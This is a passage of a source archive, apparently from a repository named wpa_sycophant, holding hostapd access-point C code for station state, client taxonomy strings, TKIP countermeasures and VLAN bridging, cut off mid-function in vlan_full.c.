WLAN_STA_VHT_OPMODE_ENABLED BIT(20) #define WLAN_STA_VENDOR_VHT BIT(21) #define WLAN_STA_PENDING_FILS_ERP BIT(22) #define WLAN_STA_PENDING_DISASSOC_CB BIT(29) #define WLAN_STA_PENDING_DEAUTH_CB BIT(30) #define WLAN_STA_NONERP BIT(31) /* Maximum number of supported rates (from both Supported Rates and Extended * Supported Rates IEs). */ #define WLAN_SUPP_RATES_MAX 32 struct hostapd_data; struct mbo_non_pref_chan_info { struct mbo_non_pref_chan_info *next; u8 op_class; u8 pref; u8 reason_code; u8 num_channels; u8 channels[]; }; struct pending_eapol_rx { struct wpabuf *buf; struct os_reltime rx_time; }; struct sta_info { struct sta_info *next; /* next entry in sta list */ struct sta_info *hnext; /* next entry in hash table list */ u8 addr[6]; be32 ipaddr; struct dl_list ip6addr; /* list head for struct ip6addr */ u16 aid; /* STA's unique AID (1 .. 2007) or 0 if not yet assigned */ u16 disconnect_reason_code; /* RADIUS server override */ u32 flags; /* Bitfield of WLAN_STA_* */ u16 capability; u16 listen_interval; /* or beacon_int for APs */ u8 supported_rates[WLAN_SUPP_RATES_MAX]; int supported_rates_len; u8 qosinfo; /* Valid when WLAN_STA_WMM is set */ #ifdef CONFIG_MESH enum mesh_plink_state plink_state; u16 peer_lid; u16 my_lid; u16 peer_aid; u16 mpm_close_reason; int mpm_retries; u8 my_nonce[WPA_NONCE_LEN]; u8 peer_nonce[WPA_NONCE_LEN]; u8 aek[32]; /* SHA256 digest length */ u8 mtk[WPA_TK_MAX_LEN]; size_t mtk_len; u8 mgtk_rsc[6]; u8 mgtk_key_id; u8 mgtk[WPA_TK_MAX_LEN]; size_t mgtk_len; u8 igtk_rsc[6]; u8 igtk[WPA_TK_MAX_LEN]; size_t igtk_len; u16 igtk_key_id; u8 sae_auth_retry; #endif /* CONFIG_MESH */ unsigned int nonerp_set:1; unsigned int no_short_slot_time_set:1; unsigned int no_short_preamble_set:1; unsigned int no_ht_gf_set:1; unsigned int no_ht_set:1; unsigned int ht40_intolerant_set:1; unsigned int ht_20mhz_set:1; unsigned int no_p2p_set:1; unsigned int qos_map_enabled:1; unsigned int remediation:1; unsigned int hs20_deauth_requested:1; unsigned int session_timeout_set:1; unsigned int radius_das_match:1; unsigned int ecsa_supported:1; unsigned int added_unassoc:1; unsigned int pending_wds_enable:1; unsigned int power_capab:1; unsigned int agreed_to_steer:1; unsigned int hs20_t_c_filtering:1; u16 auth_alg; enum { STA_NULLFUNC = 0, STA_DISASSOC, STA_DEAUTH, STA_REMOVE, STA_DISASSOC_FROM_CLI } timeout_next; u16 deauth_reason; u16 disassoc_reason; /* IEEE 802.1X related data */ struct eapol_state_machine *eapol_sm; struct pending_eapol_rx *pending_eapol_rx; u64 acct_session_id; struct os_reltime acct_session_start; int acct_session_started; int acct_terminate_cause; /* Acct-Terminate-Cause */ int acct_interim_interval; /* Acct-Interim-Interval */ unsigned int acct_interim_errors; /* For extending 32-bit driver counters to 64-bit counters */ u32 last_rx_bytes_hi; u32 last_rx_bytes_lo; u32 last_tx_bytes_hi; u32 last_tx_bytes_lo; u8 *challenge; /* IEEE 802.11 Shared Key Authentication Challenge */ struct wpa_state_machine *wpa_sm; struct rsn_preauth_interface *preauth_iface; int vlan_id; /* 0: none, >0: VID */ struct vlan_description *vlan_desc; int vlan_id_bound; /* updated by ap_sta_bind_vlan() */ /* PSKs from RADIUS authentication server */ struct hostapd_sta_wpa_psk_short *psk; char *identity; /* User-Name from RADIUS */ char *radius_cui; /* Chargeable-User-Identity from RADIUS */ struct ieee80211_ht_capabilities *ht_capabilities; struct ieee80211_vht_capabilities *vht_capabilities; u8 vht_opmode; #ifdef CONFIG_IEEE80211W int sa_query_count; /* number of pending SA Query requests; * 0 = no SA Query in progress */ int sa_query_timed_out; u8 *sa_query_trans_id; /* buffer of WLAN_SA_QUERY_TR_ID_LEN * * sa_query_count octets of pending SA Query * transaction identifiers */ struct os_reltime sa_query_start; #endif /* CONFIG_IEEE80211W */ #if defined(CONFIG_INTERWORKING) || defined(CONFIG_DPP) #define GAS_DIALOG_MAX 8 /* Max concurrent dialog number */ struct gas_dialog_info *gas_dialog; u8 gas_dialog_next; #endif /* CONFIG_INTERWORKING || CONFIG_DPP */ struct wpabuf *wps_ie; /* WPS IE from (Re)Association Request */ struct wpabuf *p2p_ie; /* P2P IE from (Re)Association Request */ struct wpabuf *hs20_ie; /* HS 2.0 IE from (Re)Association Request */ /* Hotspot 2.0 Roaming Consortium from (Re)Association Request */ struct wpabuf *roaming_consortium; u8 remediation_method; char *remediation_url; /* HS 2.0 Subscription Remediation Server URL */ struct wpabuf *hs20_deauth_req; char *hs20_session_info_url; int hs20_disassoc_timer; #ifdef CONFIG_FST struct wpabuf *mb_ies; /* MB IEs from (Re)Association Request */ #endif /* CONFIG_FST */ struct os_reltime connected_time; #ifdef CONFIG_SAE struct sae_data *sae; unsigned int mesh_sae_pmksa_caching:1; #endif /* CONFIG_SAE */ /* valid only if session_timeout_set == 1 */ struct os_reltime session_timeout; /* Last Authentication/(Re)Association Request/Action frame sequence * control */ u16 last_seq_ctrl; /* Last Authentication/(Re)Association Request/Action frame subtype */ u8 last_subtype; #ifdef CONFIG_MBO u8 cell_capa; /* 0 = unknown (not an MBO STA); otherwise, * enum mbo_cellular_capa values */ struct mbo_non_pref_chan_info *non_pref_chan; #endif /* CONFIG_MBO */ u8 *supp_op_classes; /* Supported Operating Classes element, if * received, starting from the Length field */ u8 rrm_enabled_capa[5]; s8 min_tx_power; s8 max_tx_power; #ifdef CONFIG_TAXONOMY struct wpabuf *probe_ie_taxonomy; struct wpabuf *assoc_ie_taxonomy; #endif /* CONFIG_TAXONOMY */ #ifdef CONFIG_FILS u8 fils_snonce[FILS_NONCE_LEN]; u8 fils_session[FILS_SESSION_LEN]; u8 fils_erp_pmkid[PMKID_LEN]; u8 *fils_pending_assoc_req; size_t fils_pending_assoc_req_len; unsigned int fils_pending_assoc_is_reassoc:1; unsigned int fils_dhcp_rapid_commit_proxy:1; unsigned int fils_erp_pmkid_set:1; unsigned int fils_drv_assoc_finish:1; struct wpabuf *fils_hlp_resp; struct wpabuf *hlp_dhcp_discover; void (*fils_pending_cb)(struct hostapd_data *hapd, struct sta_info *sta, u16 resp, struct wpabuf *data, int pub); #ifdef CONFIG_FILS_SK_PFS struct crypto_ecdh *fils_ecdh; #endif /* CONFIG_FILS_SK_PFS */ struct wpabuf *fils_dh_ss; struct wpabuf *fils_g_sta; #endif /* CONFIG_FILS */ #ifdef CONFIG_OWE u8 *owe_pmk; size_t owe_pmk_len; struct crypto_ecdh *owe_ecdh; u16 owe_group; #endif /* CONFIG_OWE */ u8 *ext_capability; char *ifname_wds; /* WDS ifname, if in use */ #ifdef CONFIG_TESTING_OPTIONS enum wpa_alg last_tk_alg; int last_tk_key_idx; u8 last_tk[WPA_TK_MAX_LEN]; size_t last_tk_len; #endif /* CONFIG_TESTING_OPTIONS */ }; /* Default value for maximum station inactivity. After AP_MAX_INACTIVITY has * passed since last received frame from the station, a nullfunc data frame is * sent to the station. If this frame is not acknowledged and no other frames * have been received, the station will be disassociated after * AP_DISASSOC_DELAY seconds. Similarly, the station will be deauthenticated * after AP_DEAUTH_DELAY seconds has passed after disassociation. */ #define AP_MAX_INACTIVITY (5 * 60) #define AP_DISASSOC_DELAY (3) #define AP_DEAUTH_DELAY (1) /* Number of seconds to keep STA entry with Authenticated flag after it has * been disassociated. */ #define AP_MAX_INACTIVITY_AFTER_DISASSOC (1 * 30) /* Number of seconds to keep STA entry after it has been deauthenticated. */ #define AP_MAX_INACTIVITY_AFTER_DEAUTH (1 * 5) int ap_for_each_sta(struct hostapd_data *hapd, int (*cb)(struct hostapd_data *hapd, struct sta_info *sta, void *ctx), void *ctx); struct sta_info * ap_get_sta(struct hostapd_data *hapd, const u8 *sta); struct sta_info * ap_get_sta_p2p(struct hostapd_data *hapd, const u8 *addr); void ap_sta_hash_add(struct hostapd_data *hapd, struct sta_info *sta); void ap_free_sta(struct hostapd_data *hapd, struct sta_info *sta); void ap_sta_ip6addr_del(struct hostapd_data *hapd, struct sta_info *sta); void hostapd_free_stas(struct hostapd_data *hapd); void ap_handle_timer(void *eloop_ctx, void *timeout_ctx); void ap_sta_replenish_timeout(struct hostapd_data *hapd, struct sta_info *sta, u32 session_timeout); void ap_sta_session_timeout(struct hostapd_data *hapd, struct sta_info *sta, u32 session_timeout); void ap_sta_no_session_timeout(struct hostapd_data *hapd, struct sta_info *sta); void ap_sta_session_warning_timeout(struct hostapd_data *hapd, struct sta_info *sta, int warning_time); struct sta_info * ap_sta_add(struct hostapd_data *hapd, const u8 *addr); void ap_sta_disassociate(struct hostapd_data *hapd, struct sta_info *sta, u16 reason); void ap_sta_deauthenticate(struct hostapd_data *hapd, struct sta_info *sta, u16 reason); #ifdef CONFIG_WPS int ap_sta_wps_cancel(struct hostapd_data *hapd, struct sta_info *sta, void *ctx); #endif /* CONFIG_WPS */ int ap_sta_bind_vlan(struct hostapd_data *hapd, struct sta_info *sta); int ap_sta_set_vlan(struct hostapd_data *hapd, struct sta_info *sta, struct vlan_description *vlan_desc); void ap_sta_start_sa_query(struct hostapd_data *hapd, struct sta_info *sta); void ap_sta_stop_sa_query(struct hostapd_data *hapd, struct sta_info *sta); int ap_check_sa_query_timeout(struct hostapd_data *hapd, struct sta_info *sta); void ap_sta_disconnect(struct hostapd_data *hapd, struct sta_info *sta, const u8 *addr, u16 reason); void ap_sta_set_authorized(struct hostapd_data *hapd, struct sta_info *sta, int authorized); static inline int ap_sta_is_authorized(struct sta_info *sta) { return sta->flags & WLAN_STA_AUTHORIZED; } void ap_sta_deauth_cb(struct hostapd_data *hapd, struct sta_info *sta); void ap_sta_disassoc_cb(struct hostapd_data *hapd, struct sta_info *sta); void ap_sta_clear_disconnect_timeouts(struct hostapd_data *hapd, struct sta_info *sta); int ap_sta_flags_txt(u32 flags, char *buf, size_t buflen); void ap_sta_delayed_1x_auth_fail_disconnect(struct hostapd_data *hapd, struct sta_info *sta); int ap_sta_pending_delayed_1x_auth_fail_disconnect(struct hostapd_data *hapd, struct sta_info *sta); #endif /* STA_INFO_H */ wpa_sycophant-master/src/ap/taxonomy.c000066400000000000000000000167111377436615100204620ustar00rootroot00000000000000/* * hostapd / Client taxonomy * Copyright (c) 2015 Google, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. * * Parse a series of IEs, as in Probe Request or (Re)Association Request frames, * and render them to a descriptive string. The tag number of standard options * is written to the string, while the vendor ID and subtag are written for * vendor options. * * Example strings: * 0,1,50,45,221(00904c,51) * 0,1,33,36,48,45,221(00904c,51),221(0050f2,2) */ #include "utils/includes.h" #include "utils/common.h" #include "common/wpa_ctrl.h" #include "hostapd.h" #include "sta_info.h" #include "taxonomy.h" /* Copy a string with no funny schtuff allowed; only alphanumerics. */ static void no_mischief_strncpy(char *dst, const char *src, size_t n) { size_t i; for (i = 0; i < n; i++) { unsigned char s = src[i]; int is_lower = s >= 'a' && s <= 'z'; int is_upper = s >= 'A' && s <= 'Z'; int is_digit = s >= '0' && s <= '9'; if (is_lower || is_upper || is_digit) { /* TODO: if any manufacturer uses Unicode within the * WPS header, it will get mangled here. */ dst[i] = s; } else { /* Note that even spaces will be transformed to * underscores, so 'Nexus 7' will turn into 'Nexus_7'. * This is deliberate, to make the string easier to * parse. */ dst[i] = '_'; } } } static int get_wps_name(char *name, size_t name_len, const u8 *data, size_t data_len) { /* Inside the WPS IE are a series of attributes, using two byte IDs * and two byte lengths. We're looking for the model name, if * present. */ while (data_len >= 4) { u16 id, elen; id = WPA_GET_BE16(data); elen = WPA_GET_BE16(data + 2); data += 4; data_len -= 4; if (elen > data_len) return 0; if (id == 0x1023) { /* Model name, like 'Nexus 7' */ size_t n = (elen < name_len) ? elen : name_len; no_mischief_strncpy(name, (const char *) data, n); return n; } data += elen; data_len -= elen; } return 0; } static void ie_to_string(char *fstr, size_t fstr_len, const struct wpabuf *ies) { char *fpos = fstr; char *fend = fstr + fstr_len; char htcap[7 + 4 + 1]; /* ",htcap:" + %04hx + trailing NUL */ char htagg[7 + 2 + 1]; /* ",htagg:" + %02hx + trailing NUL */ char htmcs[7 + 8 + 1]; /* ",htmcs:" + %08x + trailing NUL */ char vhtcap[8 + 8 + 1]; /* ",vhtcap:" + %08x + trailing NUL */ char vhtrxmcs[10 + 8 + 1]; /* ",vhtrxmcs:" + %08x + trailing NUL */ char vhttxmcs[10 + 8 + 1]; /* ",vhttxmcs:" + %08x + trailing NUL */ #define MAX_EXTCAP 254 char extcap[8 + 2 * MAX_EXTCAP + 1]; /* ",extcap:" + hex + trailing NUL */ char txpow[7 + 4 + 1]; /* ",txpow:" + %04hx + trailing NUL */ #define WPS_NAME_LEN 32 char wps[WPS_NAME_LEN + 5 + 1]; /* room to prepend ",wps:" + trailing * NUL */ int num = 0; const u8 *ie; size_t ie_len; int ret; os_memset(htcap, 0, sizeof(htcap)); os_memset(htagg, 0, sizeof(htagg)); os_memset(htmcs, 0, sizeof(htmcs)); os_memset(vhtcap, 0, sizeof(vhtcap)); os_memset(vhtrxmcs, 0, sizeof(vhtrxmcs)); os_memset(vhttxmcs, 0, sizeof(vhttxmcs)); os_memset(extcap, 0, sizeof(extcap)); os_memset(txpow, 0, sizeof(txpow)); os_memset(wps, 0, sizeof(wps)); *fpos = '\0'; if (!ies) return; ie = wpabuf_head(ies); ie_len = wpabuf_len(ies); while (ie_len >= 2) { u8 id, elen; char *sep = (num++ == 0) ? "" : ","; id = *ie++; elen = *ie++; ie_len -= 2; if (elen > ie_len) break; if (id == WLAN_EID_VENDOR_SPECIFIC && elen >= 4) { /* Vendor specific */ if (WPA_GET_BE32(ie) == WPS_IE_VENDOR_TYPE) { /* WPS */ char model_name[WPS_NAME_LEN + 1]; const u8 *data = &ie[4]; size_t data_len = elen - 4; os_memset(model_name, 0, sizeof(model_name)); if (get_wps_name(model_name, WPS_NAME_LEN, data, data_len)) { os_snprintf(wps, sizeof(wps), ",wps:%s", model_name); } } ret = os_snprintf(fpos, fend - fpos, "%s%d(%02x%02x%02x,%d)", sep, id, ie[0], ie[1], ie[2], ie[3]); } else { if (id == WLAN_EID_HT_CAP && elen >= 2) { /* HT Capabilities (802.11n) */ os_snprintf(htcap, sizeof(htcap), ",htcap:%04hx", WPA_GET_LE16(ie)); } if (id == WLAN_EID_HT_CAP && elen >= 3) { /* HT Capabilities (802.11n), A-MPDU information */ os_snprintf(htagg, sizeof(htagg), ",htagg:%02hx", (u16) ie[2]); } if (id == WLAN_EID_HT_CAP && elen >= 7) { /* HT Capabilities (802.11n), MCS information */ os_snprintf(htmcs, sizeof(htmcs), ",htmcs:%08hx", (u16) WPA_GET_LE32(ie + 3)); } if (id == WLAN_EID_VHT_CAP && elen >= 4) { /* VHT Capabilities (802.11ac) */ os_snprintf(vhtcap, sizeof(vhtcap), ",vhtcap:%08x", WPA_GET_LE32(ie)); } if (id == WLAN_EID_VHT_CAP && elen >= 8) { /* VHT Capabilities (802.11ac), RX MCS * information */ os_snprintf(vhtrxmcs, sizeof(vhtrxmcs), ",vhtrxmcs:%08x", WPA_GET_LE32(ie + 4)); } if (id == WLAN_EID_VHT_CAP && elen >= 12) { /* VHT Capabilities (802.11ac), TX MCS * information */ os_snprintf(vhttxmcs, sizeof(vhttxmcs), ",vhttxmcs:%08x", WPA_GET_LE32(ie + 8)); } if (id == WLAN_EID_EXT_CAPAB) { /* Extended Capabilities */ int i; int len = (elen < MAX_EXTCAP) ? elen : MAX_EXTCAP; char *p = extcap; p += os_snprintf(extcap, sizeof(extcap), ",extcap:"); for (i = 0; i < len; i++) { int lim; lim = sizeof(extcap) - os_strlen(extcap); if (lim <= 0) break; p += os_snprintf(p, lim, "%02x", *(ie + i)); } } if (id == WLAN_EID_PWR_CAPABILITY && elen == 2) { /* TX Power */ os_snprintf(txpow, sizeof(txpow), ",txpow:%04hx", WPA_GET_LE16(ie)); } ret = os_snprintf(fpos, fend - fpos, "%s%d", sep, id); } if (os_snprintf_error(fend - fpos, ret)) goto fail; fpos += ret; ie += elen; ie_len -= elen; } ret = os_snprintf(fpos, fend - fpos, "%s%s%s%s%s%s%s%s%s", htcap, htagg, htmcs, vhtcap, vhtrxmcs, vhttxmcs, txpow, extcap, wps); if (os_snprintf_error(fend - fpos, ret)) { fail: fstr[0] = '\0'; } } int retrieve_sta_taxonomy(const struct hostapd_data *hapd, struct sta_info *sta, char *buf, size_t buflen) { int ret; char *pos, *end; if (!sta->probe_ie_taxonomy || !sta->assoc_ie_taxonomy) return 0; ret = os_snprintf(buf, buflen, "wifi4|probe:"); if (os_snprintf_error(buflen, ret)) return 0; pos = buf + ret; end = buf + buflen; ie_to_string(pos, end - pos, sta->probe_ie_taxonomy); pos = os_strchr(pos, '\0'); if (pos >= end) return 0; ret = os_snprintf(pos, end - pos, "|assoc:"); if (os_snprintf_error(end - pos, ret)) return 0; pos += ret; ie_to_string(pos, end - pos, sta->assoc_ie_taxonomy); pos = os_strchr(pos, '\0'); return pos - buf; } void taxonomy_sta_info_probe_req(const struct hostapd_data *hapd, struct sta_info *sta, const u8 *ie, size_t ie_len) { wpabuf_free(sta->probe_ie_taxonomy); sta->probe_ie_taxonomy = wpabuf_alloc_copy(ie, ie_len); } void taxonomy_hostapd_sta_info_probe_req(const struct hostapd_data *hapd, struct hostapd_sta_info *info, const u8 *ie, size_t ie_len) { wpabuf_free(info->probe_ie_taxonomy); info->probe_ie_taxonomy = wpabuf_alloc_copy(ie, ie_len); } void taxonomy_sta_info_assoc_req(const struct hostapd_data *hapd, struct sta_info *sta, const u8 *ie, size_t ie_len) { wpabuf_free(sta->assoc_ie_taxonomy); sta->assoc_ie_taxonomy = wpabuf_alloc_copy(ie, ie_len); } wpa_sycophant-master/src/ap/taxonomy.h000066400000000000000000000013761377436615100204700ustar00rootroot00000000000000/* * hostapd / Station client taxonomy * Copyright (c) 2015 Google, Inc. * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef TAXONOMY_H #define TAXONOMY_H void taxonomy_sta_info_probe_req(const struct hostapd_data *hapd, struct sta_info *sta, const u8 *ie, size_t ie_len); void taxonomy_hostapd_sta_info_probe_req(const struct hostapd_data *hapd, struct hostapd_sta_info *sta, const u8 *ie, size_t ie_len); void taxonomy_sta_info_assoc_req(const struct hostapd_data *hapd, struct sta_info *sta, const u8 *ie, size_t ie_len); int retrieve_sta_taxonomy(const struct hostapd_data *hapd, struct sta_info *sta, char *buf, size_t buflen); #endif /* TAXONOMY_H */ wpa_sycophant-master/src/ap/tkip_countermeasures.c000066400000000000000000000057141377436615100230600ustar00rootroot00000000000000/* * hostapd / TKIP countermeasures * Copyright (c) 2002-2012, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "utils/eloop.h" #include "common/ieee802_11_defs.h" #include "radius/radius.h" #include "hostapd.h" #include "sta_info.h" #include "ap_mlme.h" #include "wpa_auth.h" #include "ap_drv_ops.h" #include "tkip_countermeasures.h" static void ieee80211_tkip_countermeasures_stop(void *eloop_ctx, void *timeout_ctx) { struct hostapd_data *hapd = eloop_ctx; hapd->tkip_countermeasures = 0; hostapd_drv_set_countermeasures(hapd, 0); hostapd_logger(hapd, NULL, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_INFO, "TKIP countermeasures ended"); } static void ieee80211_tkip_countermeasures_start(struct hostapd_data *hapd) { struct sta_info *sta; hostapd_logger(hapd, NULL, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_INFO, "TKIP countermeasures initiated"); wpa_auth_countermeasures_start(hapd->wpa_auth); hapd->tkip_countermeasures = 1; hostapd_drv_set_countermeasures(hapd, 1); wpa_gtk_rekey(hapd->wpa_auth); eloop_cancel_timeout(ieee80211_tkip_countermeasures_stop, hapd, NULL); eloop_register_timeout(60, 0, ieee80211_tkip_countermeasures_stop, hapd, NULL); while ((sta = hapd->sta_list)) { sta->acct_terminate_cause = RADIUS_ACCT_TERMINATE_CAUSE_ADMIN_RESET; if (sta->flags & WLAN_STA_AUTH) { mlme_deauthenticate_indication( hapd, sta, WLAN_REASON_MICHAEL_MIC_FAILURE); } hostapd_drv_sta_deauth(hapd, sta->addr, WLAN_REASON_MICHAEL_MIC_FAILURE); ap_free_sta(hapd, sta); } } void ieee80211_tkip_countermeasures_deinit(struct hostapd_data *hapd) { eloop_cancel_timeout(ieee80211_tkip_countermeasures_stop, hapd, NULL); } int michael_mic_failure(struct hostapd_data *hapd, const u8 *addr, int local) { struct os_reltime now; int ret = 0; hostapd_logger(hapd, addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_INFO, "Michael MIC failure detected in received frame%s", local ? " (local)" : ""); if (addr && local) { struct sta_info *sta = ap_get_sta(hapd, addr); if (sta != NULL) { wpa_auth_sta_local_mic_failure_report(sta->wpa_sm); hostapd_logger(hapd, addr, HOSTAPD_MODULE_IEEE80211, HOSTAPD_LEVEL_INFO, "Michael MIC failure detected in " "received frame"); mlme_michaelmicfailure_indication(hapd, addr); } else { wpa_printf(MSG_DEBUG, "MLME-MICHAELMICFAILURE.indication " "for not associated STA (" MACSTR ") ignored", MAC2STR(addr)); return ret; } } os_get_reltime(&now); if (os_reltime_expired(&now, &hapd->michael_mic_failure, 60)) { hapd->michael_mic_failures = 1; } else { hapd->michael_mic_failures++; if (hapd->michael_mic_failures > 1) { ieee80211_tkip_countermeasures_start(hapd); ret = 1; } } hapd->michael_mic_failure = now; return ret; } wpa_sycophant-master/src/ap/tkip_countermeasures.h000066400000000000000000000007031377436615100230560ustar00rootroot00000000000000/* * hostapd / TKIP countermeasures * Copyright (c) 2002-2012, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef TKIP_COUNTERMEASURES_H #define TKIP_COUNTERMEASURES_H int michael_mic_failure(struct hostapd_data *hapd, const u8 *addr, int local); void ieee80211_tkip_countermeasures_deinit(struct hostapd_data *hapd); #endif /* TKIP_COUNTERMEASURES_H */ wpa_sycophant-master/src/ap/utils.c000066400000000000000000000044471377436615100177470ustar00rootroot00000000000000/* * AP mode helper functions * Copyright (c) 2009, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "includes.h" #include "common.h" #include "common/ieee802_11_defs.h" #include "fst/fst.h" #include "sta_info.h" #include "hostapd.h" int hostapd_register_probereq_cb(struct hostapd_data *hapd, int (*cb)(void *ctx, const u8 *sa, const u8 *da, const u8 *bssid, const u8 *ie, size_t ie_len, int ssi_signal), void *ctx) { struct hostapd_probereq_cb *n; n = os_realloc_array(hapd->probereq_cb, hapd->num_probereq_cb + 1, sizeof(struct hostapd_probereq_cb)); if (n == NULL) return -1; hapd->probereq_cb = n; n = &hapd->probereq_cb[hapd->num_probereq_cb]; hapd->num_probereq_cb++; n->cb = cb; n->ctx = ctx; return 0; } struct prune_data { struct hostapd_data *hapd; const u8 *addr; }; static int prune_associations(struct hostapd_iface *iface, void *ctx) { struct prune_data *data = ctx; struct sta_info *osta; struct hostapd_data *ohapd; size_t j; for (j = 0; j < iface->num_bss; j++) { ohapd = iface->bss[j]; if (ohapd == data->hapd) continue; #ifdef CONFIG_FST /* Don't prune STAs belong to same FST */ if (ohapd->iface->fst && data->hapd->iface->fst && fst_are_ifaces_aggregated(ohapd->iface->fst, data->hapd->iface->fst)) continue; #endif /* CONFIG_FST */ osta = ap_get_sta(ohapd, data->addr); if (!osta) continue; wpa_printf(MSG_INFO, "%s: Prune association for " MACSTR, ohapd->conf->iface, MAC2STR(osta->addr)); ap_sta_disassociate(ohapd, osta, WLAN_REASON_UNSPECIFIED); } return 0; } /** * hostapd_prune_associations - Remove extraneous associations * @hapd: Pointer to BSS data for the most recent association * @addr: Associated STA address * * This function looks through all radios and BSS's for previous * (stale) associations of STA. If any are found they are removed. */ void hostapd_prune_associations(struct hostapd_data *hapd, const u8 *addr) { struct prune_data data; data.hapd = hapd; data.addr = addr; if (hapd->iface->interfaces && hapd->iface->interfaces->for_each_interface) hapd->iface->interfaces->for_each_interface( hapd->iface->interfaces, prune_associations, &data); } wpa_sycophant-master/src/ap/vlan.c000066400000000000000000000013641377436615100175420ustar00rootroot00000000000000/* * hostapd / VLAN definition * Copyright (c) 2016, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include "utils/common.h" #include "ap/vlan.h" /* compare the two arguments, NULL is treated as empty * return zero iff they are equal */ int vlan_compare(struct vlan_description *a, struct vlan_description *b) { int i; const int a_empty = !a || !a->notempty; const int b_empty = !b || !b->notempty; if (a_empty && b_empty) return 0; if (a_empty || b_empty) return 1; if (a->untagged != b->untagged) return 1; for (i = 0; i < MAX_NUM_TAGGED_VLAN; i++) { if (a->tagged[i] != b->tagged[i]) return 1; } return 0; } wpa_sycophant-master/src/ap/vlan.h000066400000000000000000000013271377436615100175460ustar00rootroot00000000000000/* * hostapd / VLAN definition * Copyright (c) 2015, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #ifndef VLAN_H #define VLAN_H #define MAX_NUM_TAGGED_VLAN 32 struct vlan_description { int notempty; /* 0 : no vlan information present, 1: else */ int untagged; /* >0 802.1q vid */ int tagged[MAX_NUM_TAGGED_VLAN]; /* first k items, ascending order */ }; #ifndef CONFIG_NO_VLAN int vlan_compare(struct vlan_description *a, struct vlan_description *b); #else /* CONFIG_NO_VLAN */ static inline int vlan_compare(struct vlan_description *a, struct vlan_description *b) { return 0; } #endif /* CONFIG_NO_VLAN */ #endif /* VLAN_H */ wpa_sycophant-master/src/ap/vlan_full.c000066400000000000000000000424621377436615100205700ustar00rootroot00000000000000/* * hostapd / VLAN initialization - full dynamic VLAN * Copyright 2003, Instant802 Networks, Inc. * Copyright 2005-2006, Devicescape Software, Inc. * Copyright (c) 2009, Jouni Malinen * * This software may be distributed under the terms of the BSD license. * See README for more details. */ #include "utils/includes.h" #include /* Avoid conflicts due to NetBSD net/if.h if_type define with driver.h */ #undef if_type #include #include "utils/common.h" #include "drivers/priv_netlink.h" #include "common/linux_bridge.h" #include "common/linux_vlan.h" #include "utils/eloop.h" #include "hostapd.h" #include "ap_config.h" #include "ap_drv_ops.h" #include "wpa_auth.h" #include "vlan_init.h" #include "vlan_util.h" struct full_dynamic_vlan { int s; /* socket on which to listen for new/removed interfaces. */ }; #define DVLAN_CLEAN_BR 0x1 #define DVLAN_CLEAN_VLAN 0x2 #define DVLAN_CLEAN_VLAN_PORT 0x4 struct dynamic_iface { char ifname[IFNAMSIZ + 1]; int usage; int clean; struct dynamic_iface *next; }; /* Increment ref counter for ifname and add clean flag. * If not in list, add it only if some flags are given. */ static void dyn_iface_get(struct hostapd_data *hapd, const char *ifname, int clean) { struct dynamic_iface *next, **dynamic_ifaces; struct hapd_interfaces *interfaces; interfaces = hapd->iface->interfaces; dynamic_ifaces = &interfaces->vlan_priv; for (next = *dynamic_ifaces; next; next = next->next) { if (os_strcmp(ifname, next->ifname) == 0) break; } if (next) { next->usage++; next->clean |= clean; return; } if (!clean) return; next = os_zalloc(sizeof(*next)); if (!next) return; os_strlcpy(next->ifname, ifname, sizeof(next->ifname)); next->usage = 1; next->clean = clean; next->next = *dynamic_ifaces; *dynamic_ifaces = next; } /* Decrement reference counter for given ifname. * Return clean flag iff reference counter was decreased to zero, else zero */ static int dyn_iface_put(struct hostapd_data *hapd, const char *ifname) { struct dynamic_iface *next, *prev = NULL, **dynamic_ifaces; struct hapd_interfaces *interfaces; int clean; interfaces = hapd->iface->interfaces; dynamic_ifaces = &interfaces->vlan_priv; for (next = *dynamic_ifaces; next; next = next->next) { if (os_strcmp(ifname, next->ifname) == 0) break; prev = next; } if (!next) return 0; next->usage--; if (next->usage) return 0; if (prev) prev->next = next->next; else *dynamic_ifaces = next->next; clean = next->clean; os_free(next); return clean; } static int ifconfig_down(const char *if_name) { wpa_printf(MSG_DEBUG, "VLAN: Set interface %s down", if_name); return ifconfig_helper(if_name, 0); } /* This value should be 256 ONLY. If it is something else, then hostapd * might crash!, as this value has been hard-coded in 2.4.x kernel * bridging code. */ #define MAX_BR_PORTS 256 static int br_delif(const char *br_name, const char *if_name) { int fd; struct ifreq ifr; unsigned long args[2]; int if_index; wpa_printf(MSG_DEBUG, "VLAN: br_delif(%s, %s)", br_name, if_name); if ((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { wpa_printf(MSG_ERROR, "VLAN: %s: socket(AF_INET,SOCK_STREAM) " "failed: %s", __func__, strerror(errno)); return -1; } if_index = if_nametoindex(if_name); if (if_index == 0) { wpa_printf(MSG_ERROR, "VLAN: %s: Failure determining " "interface index for '%s'", __func__, if_name); close(fd); return -1; } args[0] = BRCTL_DEL_IF; args[1] = if_index; os_strlcpy(ifr.ifr_name, br_name, sizeof(ifr.ifr_name)); ifr.ifr_data = (void *) args; if (ioctl(fd, SIOCDEVPRIVATE, &ifr) < 0 && errno != EINVAL) { /* No error if interface already removed. */ wpa_printf(MSG_ERROR, "VLAN: %s: ioctl[SIOCDEVPRIVATE," "BRCTL_DEL_IF] failed for br_name=%s if_name=%s: " "%s", __func__, br_name, if_name, strerror(errno)); close(fd); return -1; } close(fd); return 0; } /* Add interface 'if_name' to the bridge 'br_name' returns -1 on error returns 1 if the interface is already part of the bridge returns 0 otherwise */ static int br_addif(const char *br_name, const char *if_name) { int fd; struct ifreq ifr; unsigned long args[2]; int if_index; wpa_printf(MSG_DEBUG, "VLAN: br_addif(%s, %s)", br_name, if_name); if ((fd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { wpa_printf(MSG_ERROR, "VLAN: %s: 